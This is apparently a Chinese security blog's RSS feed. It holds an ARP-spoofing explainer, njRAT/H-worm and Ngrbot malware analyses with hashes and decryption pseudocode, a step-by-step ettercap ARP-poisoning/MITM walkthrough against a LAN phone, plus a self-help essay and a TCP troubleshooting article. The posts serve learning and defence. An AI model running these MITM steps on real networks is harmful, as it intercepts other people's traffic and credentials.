&lt;p&gt;b)服务器网络，而在机房(服务器网络)中，管理员一般会在外部进行访问，即请求报文是由网关转发给服务器，也就是说请求报文的走向是网关à服务器，如果黑客控制的是机房里的一台服务器，为了截获到请求报文中的服务器登录密码等敏感信息，攻击者一般会对网关发起欺骗，告诉网关自己是某台或者某些服务器。&lt;/p&gt;
&lt;p&gt;c) 实际上不管在员工网络或者机房内部网络，黑客比较习惯与进行双向欺骗，一方面告诉网关自己是某些终端，另一方面告诉同网段的其他终端自己是网关，但是该方法会产生大量的垃圾信息，因为在回应报文中基本上不会携带敏感的信息。&lt;/p&gt;
&lt;p&gt;3. ARP欺骗的瓶颈为了得到更多的敏感信息，很多人会使用双向+批量的欺骗方式，一方面告诉网关自己的MAC对应的IP是网段内所有的IP(这样无论数据报文是给哪台机子的，只要是发送给同网段机器网关都会转发给攻击者);另一方面欺骗所有同网段终端自己是网关(实际上欺骗同网段所有的终端比较容易，直接将ARP包的目的mac设置成FFFFFFFFF就行了)，从而所有终端发出的报文都会经过攻击者的机器。但是如果这样子做，攻击者控制的机器直接承载了整个网段的数据流量，要对整个网段的数据进行处理，重封装、再转发，这在服务器的性能和配置上要求可不是一般的苛刻，所以选择好欺骗对象和方向显得非常重要。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;三.嗅探和ARP欺骗的区别&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;a) 嗅探一般存在于共享网络中，在共享网络中一般使用HUB作为接入层，经过HUB的数据报文不管长得什么样，因为HUB工作在第一层，看不懂二层以上的报文是啥样子的，所以一律以广播处理，在同一网段的计算机只要将网卡设置成混杂模式即可。&lt;/p&gt;
&lt;p&gt;b) 嗅探在交换网络中不适用，因为交换机是通过MAC-端口对应表来转发数据报文的，所以在交换网络中如果只将网卡设置成混杂模式，而不进行ARP欺骗，其结果只能接受到网络中的广播包。&lt;/p&gt;
&lt;p&gt;c) 共享网络中适用ARP欺骗，那是多此一举，适用ARP欺骗的方式会对影响网络流量，对网络造成很大的影响，另外适用ARP欺骗会产生大量的ARP报文，很容易被发现。而嗅探对整个网络几乎没有影响，因为嗅探只是做监听，而不会产生多余的数据报文。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;四.加密是否安全&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;很多人说使用HTTPS或者VPN等手段就可以防止嗅探或者ARP欺骗，这是不全面的。具体要看什么网络及什么技术。下面笔者针对HTTPS和VPN在共享、交换网络中进行探讨。&lt;/p&gt;
&lt;p&gt;1. 共享网络+嗅探&lt;/p&gt;
&lt;p&gt;a) 在共享网络使用HTTPS确实可以很好的解决数据被窃取的问题(当然个人证书泄露除外)，由于监听的机器没有证书也就无法进行解密。&lt;/p&gt;
&lt;p&gt;b) 在共享网络中使用VPN技术不一定能够防止，部分VPN技术只是在原有的数据报文多加一个IP报头，对于数据内容本身未做加密，攻击者使用监听技术获取该类数据还是能正常获取报文的内容的&lt;/p&gt;
&lt;p&gt;2. 交换网络+ARP嗅探从原理上讲，该类型的攻击属于中间人攻击，可以伪造任何证书，因此对于HTTPS等来说，攻击者只要偷梁换柱，伪造证书就可以成功获得数据的明文信息。但对于部分使用秘钥不通过公网传输的协议(例如使用publikey验证的SSH,KEY不通过网络传输)就无法截取明文信息，也无法伪造。&lt;/p&gt;
&lt;p&gt;3. 共享网络+ARP欺骗该类型攻击和第2中攻击没啥两样，就不做详细讨论了五.如何防止ARP欺骗及嗅探。实际上网上已经有很多种解决方案了，但在这边还是小提一下简单的防止方式。第四点也有提到了一部分。在交换网络中一般使用双向绑定就可以解决ARP欺骗的问题了，有些牛人说可以直接伪造MAC欺骗交换机，这也是一种绕过方法，但实际上这种方法可行性不高，虽然有时候确实能够截获到数据报文，但会时交换机的MAC-端口对应表产生混乱，另外报文若发给你就不会发给目标服务器，会产生拒绝服务攻击。在共享网络中使用双向绑定理论上是没效果的，因为只要经过HUB的数据都会进行广播，即使绑定，所有终端也会收到数据报文。Hub不像二层交换，有MAC-端口对应表。当然对于嗅探和ARP攻击的原理、利用和防御不止文中提到的这些，文章只是笔者的一点心得体会，仅供参考。说这么多，实际上要进行ARP攻击的话，一个cain、一个sniffer、一个ettercap就可以完全搞定了。&lt;/p&gt;</description></item><item><title>njRAT&amp;H-worm木马分析报告</title><link>https://www.lucien116.com/archives/202/</link><pubDate>Thu, 03 Nov 2016 13:22:42 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=202</guid><description>&lt;ul&gt;
&lt;li&gt;
&lt;h1 id="概要"&gt;概要&lt;/h1&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过对国外一系列“著名”的木马活动进行跟踪调查，本报告从威胁情报的角度针对njRAT&amp;amp;H-worm进行分析。&lt;/p&gt;
&lt;p&gt;njRAT 使用微软 .NET 框架开发，因其广泛流传的在线支持和教程，成为了最成功的网络犯罪工具之一。H-worm 借鉴了njR A T 的开源代码，服务端为使用 VBS 脚本编写，适用于Windows全系操作系统并且使用了比较先进的 User-Agent 传递数据的方式，具有开启Ｕ盘感染的功能。&lt;/p&gt;
&lt;p&gt;H-worm是一个VBS 脚本编写的病毒，使用了比较先进的User-Agent传递数据的方式，为网络罪犯提供了类似njRAT的控制方式 。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h1 id="关键点"&gt;关键点&lt;/h1&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;根据长期跟踪,发现njRAT&amp;amp;H-worm主要流行于中东地区,有证据表明极端组织ISIS也曾使用njRAT作为重要的网络武器 ；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;H-worm 曾被用于攻击国外能源机构 ；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;njRAT主要通过被感染的游戏、破解软件和注册机感染目标设备 ；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;H-worm主要通过携带病毒的电子邮件附件和恶意链接传播扩散 ；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;主要威胁针对所有版本windows操作系统包括目前的win10操作系统 ，并且网络中流传znjRAT&amp;amp;H-worm对大部分反病毒软件免杀的在线支持和教程   ；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;建议采取以下措施来预防和发现njRAT&amp;amp;H-worm的入侵：&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;o  依据本报告威胁指示器列表（IOCs）在网络安全设备中添加相应检测和防护策略  ；&lt;/p&gt;
&lt;p&gt;o  加强邮件服务器对邮件附件和正文中链接的检测能力 ；&lt;/p&gt;
&lt;p&gt;o  避免从非信任渠道下载游戏  、破解软件和注册机等程序  ；&lt;/p&gt;
&lt;p&gt;o  避免打开不受信任来源的电子邮件，尤其是带有附件和外部 链接内容的邮件。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h1 id="战略威胁情报"&gt;战略威胁情报&lt;/h1&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;njRAT&amp;amp;H-worm在2013年第一次出现 ，主要盛行于中东地区，在世界其他国家和地区也有广泛传播。&lt;/p&gt;
&lt;p&gt;njRAT 程序完美支持阿拉伯字符 ，有证据表明极端组织 ISIS 使用njRAT作为重要的网络武器。njRAT使用微软的 .NET框架开发 ， 并像其他许多木马一样为远程攻击者提供了对被感 染系统的完全控制功能。我们已经看到攻击者利用被污染的流 行游戏、破解软件及注册机来 进行污染 传播。njRAT木马因其广泛流传的在线支持和教程，已成为最成功的网络犯罪工具之一。与此同时，目前网络中也有较多.NET 混淆工具流传，使病毒检测相对困难，妨碍了安全研究人员的分析。&lt;/p&gt;
&lt;p&gt;早在2013年H-worm就被发现用于对国外能源机构的攻击。H-worm是一个VBS脚本编写的病毒，使用了比较先进的User-Agent传递数据的方式。其作者Houdini使用了njRAT作者njq8的一部分开源代码 ，国外分析机构也常将H-worm作为njRAT的主要变种。&lt;/p&gt;
&lt;p&gt;根据最近一周的跟踪分析，发现沙特阿拉伯和捷克njRAT感染尤为集中。&lt;/p&gt;
&lt;p&gt;&lt;img alt="1" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/11/1.jpg"&gt;&lt;/p&gt;
&lt;p&gt;图1：njRAT感染分布图&lt;/p&gt;
&lt;p&gt;&lt;img alt="2" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/11/2.jpg"&gt;&lt;/p&gt;
&lt;p&gt;表1： njRAT感染IP（部分）&lt;/p&gt;
&lt;p&gt;H-worm病毒仍在全球范围内大量活跃，根据跟踪分析，发现感染对象包括美国、俄罗斯、沙特阿拉伯、阿根廷、秘鲁、巴西、智利、巴拉圭、委内瑞拉 、印度以及中国。&lt;/p&gt;
&lt;p&gt;&lt;img alt="3" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/11/3.jpg"&gt;&lt;/p&gt;
&lt;p&gt;图2： H-worm国外感染分布图&lt;/p&gt;
&lt;p&gt;&lt;img alt="4" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/11/4.jpg"&gt;&lt;/p&gt;
&lt;p&gt;表2： H-worm国外感染IP（部分）&lt;/p&gt;
&lt;p&gt;重点对国内H-worm感染主机进行检测，发现涉及18个省市共发现200多个感染主机 。&lt;/p&gt;
&lt;p&gt;&lt;img alt="5" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/11/5.jpg"&gt;&lt;/p&gt;
&lt;p&gt;图3： H-worm 国内感染分布图&lt;/p&gt;</description></item><item><title>三十岁时才知道，曾经躲过去的今天都要你加倍还</title><link>https://www.lucien116.com/archives/201/</link><pubDate>Wed, 02 Nov 2016 12:59:05 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=201</guid><description>&lt;p&gt;文/一直特立独行的猫&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;前几天去上英语课，认识了一个全职妈妈，她家离学校特别远，每天送五岁的儿子上幼儿园之后，就马不停蹄地奔到学校，下午3点钟又立刻离开，回到幼儿园接孩子放学。&lt;/p&gt;
&lt;p&gt;我问她：“干嘛跑这么远来上课，孩子都这么大了，也没有什么负担了吧？”&lt;/p&gt;
&lt;p&gt;她跟我说：“我一直都是全职妈妈，现在都快五年了。孩子上的双语幼儿园，现在孩子回家经常会用用于说点简单的对话，有时候孩子跟我说英语，我却什么都不懂。想想将来孩子还要上小学，上中学，学的会越来越多，那时候我就更没能力跟孩子互动了。所以无论如何都要来学英语，哪怕从头开始。以前上班上学的时候学英语用英语都轻松的躲过去了。以为一辈子都会躲过去的东西，没想到在有了孩子之后，都要重新捡起来。 &lt;strong&gt;自己小时候不努力，觉得对不起父母；年轻时候不努力，觉得对不起家人；但当有了孩子之后才发现，如果自己不努力，是自己最不能接受的了。”&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;有了孩子以后，加入那么多名目的家长群，最大的体会不是多辛苦，也不是养孩子有多贵，而是曾经躲过去的，没学好的，如今为了孩子都要一点点捡回来。不光是英语，还是历史地理生物数学唐诗宋词，甚至手工。那些以为一辈子都不用再学再看的书本知识，没想到有一天都必须拿回来，甚至学的更努力更准确。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;前几天跟一位前辈聊天，向我聊起她目前的职场困惑。&lt;/p&gt;
&lt;p&gt;前辈马上要奔四了，孩子尚且年纪小，老人又到了需要人照顾而哪儿也去不了的时候，职场里身强体壮有干劲儿工资低的年轻人潮水般的涌上来，压力很大。而更要命的是，今天的她在公司里能力属于一般，跟很多年轻人一个职位。她家里挺有钱的，虽说工作上并没有太大抱负，但在一群小孩子中间混着，心里不舒服有时候还要被别人给脸色；可自己还真不敢辞职回家当太太，担心一点经济独立能力都没有未来会有问题。&lt;/p&gt;
&lt;p&gt;前辈跟我说，嫁个有点钱的老公，婚后找个清闲工作朝九晚五是多少女孩希望的梦想生活。她当年也是这么觉得，想着有老公赚钱还算挺多，便想着不用那么努力拼命了，差不多得了，什么都不争不抢能推给别人自己绝不干的心态混迹在职场里，按点上下班照顾家里和老人，没事儿逛街美容的生活真心不错。可那时候的她才二十六七岁，未来的职场还有二三十年，混日子一天两天可以，可三五年差距就太显而易见了。特别是 &lt;strong&gt;女人到三十岁以后，来自各方面的压力都会一起涌现，如果自己没点能拿得出手的真本事，不安全感会一天比一天强。&lt;/strong&gt; &lt;strong&gt;3.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我从21岁的时候开始实习，22岁毕业就开始工作，身在知名大公司，入行又足够早，看着身边好多25、26岁的朋友们比也不过坐一个比自己高一级的位置，生活上也比自己宽裕不了太多，总觉得自己的未来足够敞亮，想着这样小年纪，努把力，等自己25、26岁的时候，工作和生活一定会比他们要超前很多呢。三四年后，真到25、26岁的时候，我的人生并没有到达曾经预想的那些高度，仅仅是比曾经这个年纪的朋友们好一些而已。回想起来，大体是因为总觉得自己起步早，便会洋洋得意于年龄优势，总觉得有的是时间，打打闹闹，也不争分夺秒，结果蹉跎了岁月，用尽了青春。今天的自己虽一点都不敢懈怠，但身体已然无法像刚毕业时候熬夜加班还热血沸腾，生活里也有了很多其他内容让自己无法专一的去做一件事了。&lt;/p&gt;
&lt;p&gt;职场上有一个很有趣的现象，大部分人在初入职场的时候都差不多水平，但到了30岁左右的时候，有的人能步步高升，而有的人却一直原地不动。再往高一点，有的人开始辞职并美其名曰寻找内心的理想，有的人平步青云成为高层走向职场巅峰。当然，这其中除了内心是否厌倦工作以外，还有一种更重要的原因就是，越往高走，越需要扎实的基础。这个基础包括技术和能力，也包括人脉与情商。如果 &lt;strong&gt;在职场早期没有很好的积累和锻炼，就像上学学习一样，没有扎实的基础，越往高走，困难越大。而这个困难，因为环境等各种原因，很难再补回来了。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;曾经有一个职场前辈告诉我：在工作前三年的时候什么都要去做，去努力做，去拼命做，有多余的精力不要太过沉迷自由而尽情泡酒吧夜店KTV。纵然前三年是最辛苦，薪水最低，看起来付出和回报差距过大的三年，但却是人人都愿意毫无保留的教你给你的三年，更是奠定了未来职场生涯的基础的三年。别说什么工作是为生活服务的，而不是全部的生活之类的话，前三年还没什么资格说这话。环顾自己和周围朋友的职场磕绊，追根溯源，都与职场前三年的基础有关。 &lt;strong&gt;那些曾经躲过的辛苦，逃过的困难，自以为幸运没有分配到自己头上的费时费力的事，总有那么一天成为自己职场生涯的软肋，让你懊恼当初为什么不多长个眼睛看一看。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我和我周围的朋友都到了三十而立的年纪了，平时偶尔会说说自己的烦恼和遇到的困难，而这些我们眼下的问题，仔细想想，无一不是因为早年的偷懒造成的。而也是从现在开始，人与人之间的差距从现在开始清晰明了的区分出来。而这个年纪， &lt;strong&gt;有家庭有老人有孩子，再说奋起直追，除非强大的自制力和积累，大部分人，都很难，甚至只能空有一番努力的热情，却实践不了三天。&lt;/strong&gt; 俗话说，少壮不努力，老大徒伤悲，现在才知道这句话背后残酷的意义，这也便是人生最现实最残酷的地方。&lt;/p&gt;
&lt;p&gt;不要让未来的你，讨厌现在的自己，人生的每一天每一刻，都在为自己的明天铺路。 &lt;strong&gt;今天你后悔懊恼的地方，都是你昨天脑子里进的水&lt;/strong&gt;；想偷懒懈怠的时候想一想，明天的你，会想抽自己么？&lt;/p&gt;
&lt;p&gt;*作者：赵星，微博@一直特立独行的猫，代表作《从北京到台湾这么近那么远》《挺住，意味着一切》《不要让未来的你，讨厌现在的自己》&lt;/p&gt;</description></item><item><title>Ngrbot蠕虫分析（一）</title><link>https://www.lucien116.com/archives/153/</link><pubDate>Tue, 25 Oct 2016 14:37:02 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=153</guid><description>&lt;h1 id="1-基本信息"&gt;1.   基本信息&lt;/h1&gt;
&lt;p&gt;病毒别名： Worm.Win32.Ngrbot&lt;/p&gt;
&lt;p&gt;病毒类型： 蠕虫&lt;/p&gt;
&lt;p&gt;样本长度： 252.000 字节
样本MD5：FA92DAE6F14F9B9DB1D263222FC65DFF&lt;/p&gt;
&lt;p&gt;样本SHA1： A0BA2E072CA9BA7C3BDDC2F3BEF2FA09E15A716D&lt;/p&gt;
&lt;p&gt;文件类型：PE_EXE&lt;/p&gt;
&lt;p&gt;原始文件名： txgxltogztf.exe&lt;/p&gt;
&lt;p&gt;感染系统：Windows All(x86)&lt;/p&gt;
&lt;h1 id="2-样本概述"&gt;2.   样本概述&lt;/h1&gt;
&lt;p&gt;该蠕虫与木马Androm绑定在一起被下载到用户的计算机上,并能通过HTTP,FTP,MSN,email,U盘等手段进行传播,一旦用户感染此蠕虫,会立即窃取用户的密码及隐私信息,包括用户的电子银行,社交网站,邮箱密码,FTP密码和MSN好友信息等.同时该病毒监控用户下载的文件,搜集用户的上网习惯.被感染的用户组成一个庞大的僵尸网络用于对网络目标进行攻击.&lt;/p&gt;
&lt;h1 id="3-详细分析"&gt;3.   详细分析&lt;/h1&gt;
&lt;h2 id="行为流程分析"&gt;行为流程分析&lt;/h2&gt;
&lt;p&gt;由于该病毒是通过androm下载到本地,所以执行流程,以及加密方式跟androm是一样的,区别在于资源”JPEG”中的恶意代码功能,入口处会创建一个辅助线程,该线程功能是初始化所需要的API及字符串,同时为了防止重入,创建命名互斥体” SSLOADasdasc000100”&lt;/p&gt;
&lt;p&gt;&lt;img alt="image1" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/10/image1.jpeg"&gt;&lt;/p&gt;
&lt;p&gt;图1:API的初始化&lt;/p&gt;
&lt;p&gt;随后生成随机的文件名称,文件名只包含数字以及字母,这些文件名是用来在calc中下载使用的,生成到临时文件中.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image2" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/10/image2.jpeg"&gt;&lt;/p&gt;
&lt;p&gt;图2:下载后保存的文件名&lt;/p&gt;
&lt;p&gt;判断系统版本是否是64位程序,该病毒只能感染32位的程序,所以程序打开Syswow64或system32下的calc程序,写入恶意代码以及数据,之后该线程进入死循环&lt;/p&gt;
&lt;p&gt;&lt;img alt="image3" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/10/image3.jpeg"&gt;&lt;/p&gt;
&lt;p&gt;图3:感染clac进程&lt;/p&gt;
&lt;p&gt;在calc中,下载地址以及文件名加密后被蠕虫传送过来&lt;/p&gt;
&lt;p&gt;&lt;img alt="image4" loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2016/10/image4.jpeg"&gt;&lt;/p&gt;
&lt;p&gt;图4:要下载的文件地址,被加密&lt;/p&gt;
&lt;p&gt;解密算法伪代码:&lt;/p&gt;
&lt;p&gt;int i = 0;&lt;/p&gt;
&lt;p&gt;int d = 0;&lt;/p&gt;
&lt;p&gt;for(;(d = strBase[i]);++i)&lt;/p&gt;
&lt;p&gt;{&lt;/p&gt;
&lt;p&gt;if(d &amp;gt; 0x21 &amp;amp;&amp;amp; d &amp;lt; 0x4F)&lt;/p&gt;
&lt;p&gt;strBase[i] =(d + 0x2F)%0x7F;&lt;/p&gt;
&lt;p&gt;if(d &amp;gt; 0x50 &amp;amp;&amp;amp; d &amp;lt; 0x7E)&lt;/p&gt;
&lt;p&gt;strBase[i] =(d - 0x2F)%0x7F;&lt;/p&gt;</description></item><item><title>记录利用ettercap进行简单的arp欺骗和mitm攻击过程</title><link>https://www.lucien116.com/archives/151/</link><pubDate>Thu, 20 Oct 2016 17:35:11 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=151</guid><description>&lt;p&gt;&lt;img alt="记录利用ettercap进行简单的arp欺骗和mitm攻击过程 - xiao106347 - Linux 折腾笔记" loading="lazy" src="http://img0.ph.126.net/Rh9Kvu2Y0pYzFydTk2mx9A==/6608759774282748138.jpg"&gt;&lt;/p&gt;
&lt;p&gt;攻击主机平台：kali-linux        被攻击主机：安卓手机192.168.1.107    （在同一局域网内）&lt;/p&gt;
&lt;p&gt;1.利用ettercap进行arp欺骗：&lt;/p&gt;
&lt;p&gt;root权限下打开ettercap：ettercap -C （curses UI）             ettercap -G （GTK+ GUI）&lt;/p&gt;
&lt;p&gt;curses UI工作界面：&lt;/p&gt;
&lt;p&gt;&lt;img alt="记录利用ettercap进行简单的arp欺骗和mitm攻击过程 - xiao106347 - 学习笔记" loading="lazy" src="http://img0.ph.126.net/h7JVq8Q-e056X9ppsnWDCQ==/893401576179818607.png"&gt;&lt;/p&gt;
&lt;p&gt;GTK+ UI工作界面：&lt;/p&gt;
&lt;p&gt;&lt;img alt="记录利用ettercap进行简单的arp欺骗和mitm攻击过程 - xiao106347 - 学习笔记" loading="lazy" src="http://img1.ph.126.net/wgtOqseaFPQI0KKkBqNWOg==/4785919029111342655.png"&gt;&lt;/p&gt;
&lt;p&gt;这里以GTK+ UI为例，打开ettercap之后，选择Sniff&amp;mdash;-Unified-sniffing，然后选择网卡：&lt;/p&gt;
&lt;p&gt;&lt;img alt="记录利用ettercap进行简单的arp欺骗和mitm攻击过程 - xiao106347 - 学习笔记" loading="lazy" src="http://img2.ph.126.net/4jmnTYqGNJd2D51BX9O1Gg==/3331256349470750153.png"&gt;&lt;/p&gt;
&lt;p&gt;然后Hosts&amp;mdash;Scan for hosts&amp;mdash;Hosts list，此时可以看到目标主机ip（192.168.1.107）&lt;/p&gt;
&lt;p&gt;&lt;img alt="记录利用ettercap进行简单的arp欺骗和mitm攻击过程 - xiao106347 - 学习笔记" loading="lazy" src="http://img1.ph.126.net/wgtOqseaFPQI0KKkBqNWOg==/4785919029111342655.png"&gt;&lt;/p&gt;
&lt;p&gt;选定目标主机，然后点add to target 1,将目标主机添加到目标1;选定路由，点add to target 2,将路由添加到目标2：&lt;/p&gt;
&lt;p&gt;&lt;img alt="记录利用ettercap进行简单的arp欺骗和mitm攻击过程 - xiao106347 - 学习笔记" loading="lazy" src="http://img2.ph.126.net/l6bSwXRjVzGE_1mjknbExw==/6597760259960325566.png"&gt;&lt;/p&gt;
&lt;p&gt;如图，添加成功！&lt;/p&gt;
&lt;p&gt;然后点mitm &amp;mdash; arp posoning ，勾选sniff remote connections：&lt;/p&gt;
&lt;p&gt;&lt;img alt="记录利用ettercap进行简单的arp欺骗和mitm攻击过程 - xiao106347 - 学习笔记" loading="lazy" src="http://img2.ph.126.net/zIK9PXUyC1lYVFYOSu8g-Q==/3385581019975907180.png"&gt;&lt;/p&gt;</description></item><item><title>网络性能排查之TCP重传与重复ACK</title><link>https://www.lucien116.com/archives/149/</link><pubDate>Mon, 10 Oct 2016 08:58:00 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=149</guid><description>&lt;p&gt;作为网络管理员，很多时间必然会耗费在修复慢速服务器和其他终端。但用户感到网络运行缓慢并不意味着就是网络问题。&lt;/p&gt;
&lt;p&gt;解决网络性能问题，首先从TCP错误恢复功能（TCP重传与重复ACK）和流控功能说起。之后阐述如何发现网络慢速之源。最后，对网络各组成部分上的数据流进行概况分析。这几张内容将会帮助读者识别，诊断，以及排查慢速网络。&lt;/p&gt;
&lt;p&gt;更多信息
接下来的内容，较多是黑白图片了。虽然看起来有点不爽，但还是很值得一看。&lt;/p&gt;
&lt;p&gt;TCP错误恢复功能：&lt;/p&gt;
&lt;p&gt;TCP的错误恢复功能是定位，诊断及修复网络延时的最佳工具。延时可以在单程也可以往返方向测量。高延时是网络管理员的头号大敌。本节我们讨论TCP高延时是如何导致序列号和确认号乱序的。&lt;/p&gt;
&lt;p&gt;TCP重传：&lt;/p&gt;
&lt;p&gt;主机报文重传是TCP最基本的错误恢复功能，它的目的是防止报文丢失。&lt;/p&gt;
&lt;p&gt;报文丢失的可能因素有很多种，包括应用故障，路由设备过载，或暂时的服务宕机。报文级别速度是很高的，而通常报文丢失是暂时的，因此TCP能够发现和恢复报文丢失显得尤为重要。&lt;/p&gt;
&lt;p&gt;决定报文是否有必要重传的主要机制是重传计时器（retransmission timer），它的主要功能是维护重传超时（RTO）值。当报文使用TCP传输时，重传计时器启动，收到ACK时计时器停止。报文发送至接收到ACK的时间称为往返时间（RTT）。对若干次时间取平均值，该值用于确定最终RTO值。在最终RTO值确定之前，确定每一次报文传输是否有丢包发生使用重传计时器，下图说明了TCP重传过程。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://ww3.sinaimg.cn/mw690/7cc829d3gw1ehh4x5m289j20f9097mxw.jpg"&gt;&lt;/p&gt;
&lt;p&gt;当报文发送之后，但接收方尚未发送TCP ACK报文，发送方假设源报文丢失并将其重传。重传之后，RTO值加倍；如果在2倍RTO值到达之前还是没有收到ACK报文，就再次重传。如果仍然没有收到ACK，那么RTO值再次加倍。如此持续下去，每次重传RTO都翻倍，直到收到ACK报文或发送方达到配置的最大重传次数。&lt;/p&gt;
&lt;p&gt;最大重传次数取决于发送操作系统的配置值。默认情况下，Windows主机默认重传5次。大多数Linux系统默认最大15次。两种操作系统都可配置。
示例如下图：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://ww3.sinaimg.cn/large/7cc829d3gw1ehh4x6lx7ej20il0a4jtq.jpg"&gt;&lt;img loading="lazy" src="http://ww3.sinaimg.cn/mw690/7cc829d3gw1ehh4x80g1oj20im0dj75u.jpg"&gt;&lt;/p&gt;
&lt;p&gt;TCP重传过程发送的第一个报文如下图所示（图片不很清楚，已经尽力了）：
&lt;img loading="lazy" src="http://ww4.sinaimg.cn/large/7cc829d3gw1ehh4x99hacj20i908d74s.jpg"&gt;&lt;/p&gt;
&lt;p&gt;这是一个TCP PSH/ACK报文①，包含648字节数据②，从10.3.30.1发送至10.3.71.7。这是一个典型的数据报文。&lt;/p&gt;
&lt;p&gt;在通常情况下，第一个报文发送之后很快会收到TCP ACK报文。然而，在这个case里，第二个是重传报文。可以在Packet list面板里看到。Info栏清楚的标明“TCP Retransmission”，报文以黑色背景红色字体标出。下图是Packet List面板中的重传示例（仍然不清楚，但可参见上图）：
&lt;img loading="lazy" src="http://ww2.sinaimg.cn/large/7cc829d3gw1ehh4xa9lyej20ih01s0sr.jpg"&gt;&lt;/p&gt;
&lt;p&gt;也可以在Packet Details和Packet Bytes面板中查看来确定是否是重传报文，如下图所示：
&lt;img loading="lazy" src="http://ww4.sinaimg.cn/large/7cc829d3gw1ehh4xauzi4j20i509674x.jpg"&gt;&lt;/p&gt;
&lt;p&gt;注意此报文与源报文相同（除了IP标识和checksum字段）。要验证这一点，比较两个报文的Packet Bytes①。&lt;/p&gt;
&lt;p&gt;在Packet Details面板，注意到重传报文在SEQ/ACK Analysis下面有些额外的信息②。这些信息是由Wireshark提供的而并非报文本身。SEQ/ACK Analysis告诉我们这确实是一个重传报文，RTO值是0.206秒，此时的RTO是基于报文1的时间增量。&lt;/p&gt;
&lt;p&gt;检查剩下的报文会得到类似的结果，不同之处只有IP标识和checksum，以及RTO值。要使报文之间的时间间隔形象化，在Packet List面板中查看Time栏，如下图所示。这里可以看到RTO值的翻倍增长关系。
&lt;img loading="lazy" src="http://ww2.sinaimg.cn/mw690/7cc829d3gw1ehh4xbao53j203q03dt8n.jpg"&gt;&lt;/p&gt;
&lt;p&gt;TCP重复ACK以及快速重传：&lt;/p&gt;
&lt;p&gt;重复ACK是指在接收方收到乱序报文时，所发出的一类TCP报文。TCP使用报文头的序列号和确认号以有效保证数据按照发送的顺序接收和重组。&lt;/p&gt;
&lt;p&gt;当TCP连接建立以后，握手过程中交换的一个最重要的信息是初始序列号（ISN）。一旦连接双方设定了ISN之后，接下来发送的报文所包含的序列号增加一个数据载荷值。&lt;/p&gt;
&lt;p&gt;假设有个主机ISN是5000，发送500字节报文至接收方。一旦报文接收之后，接收端回复一个ACK号为5500的TCP ACK报文，基于以下公式：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sequence Number In + Bytes of Data Received = Acknowledgment Number Out&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;按照上述计算结果，返回发送端的确认编号实际上是接收端希望收到的序列号。示例如下图：
&lt;img loading="lazy" src="http://ww2.sinaimg.cn/mw690/7cc829d3gw1ehh4xbsfecj20f906vjs0.jpg"&gt;
数据接收方通过序列号来检查报文丢失。接收方通过追踪接收到的序列号，能够确认序列号是否乱序。当接收方收到一个不正常的序列号，它会假设传输过程中有报文丢失。为了正确重传数据，接收方必须拥有丢失报文，所以它发送包含有丢失报文正确序列号的ACK报文，以便发送方重传此报文。&lt;/p&gt;
&lt;p&gt;当重传主机从发送端接收到3个重复ACK时，它会假设此报文确实在传送中丢失，并且立即发送一个快速重传。一旦触发了快速重传，所有正在传输的其他报文都被放入队列中，直到快速重传报文发送为止。过程如下图所示：
&lt;img loading="lazy" src="http://ww1.sinaimg.cn/mw690/7cc829d3gw1ehh4xcglmij20f909j756.jpg"&gt;&lt;/p&gt;
&lt;p&gt;承接上文的彩图：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://ww3.sinaimg.cn/large/7cc829d3gw1ehh4xd6zucj20im0bo0ub.jpg"&gt;&lt;/p&gt;
&lt;p&gt;本例中第一个报文如下图：
&lt;img loading="lazy" src="http://ww2.sinaimg.cn/mw690/7cc829d3gw1ehh4xds6mwj20if06iq3b.jpg"&gt;
这是一个TCP ACK报文，从数据接收端（172.31.136.85）发给发送端（195.81.202.68）①，确认前一个报文所发送的数据。
此报文中的确认编号是1310973186②，应当是下一个接收报文的序列号，如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://ww1.sinaimg.cn/mw690/7cc829d3gw1ehh4xe9kpuj20id07edg9.jpg"&gt;
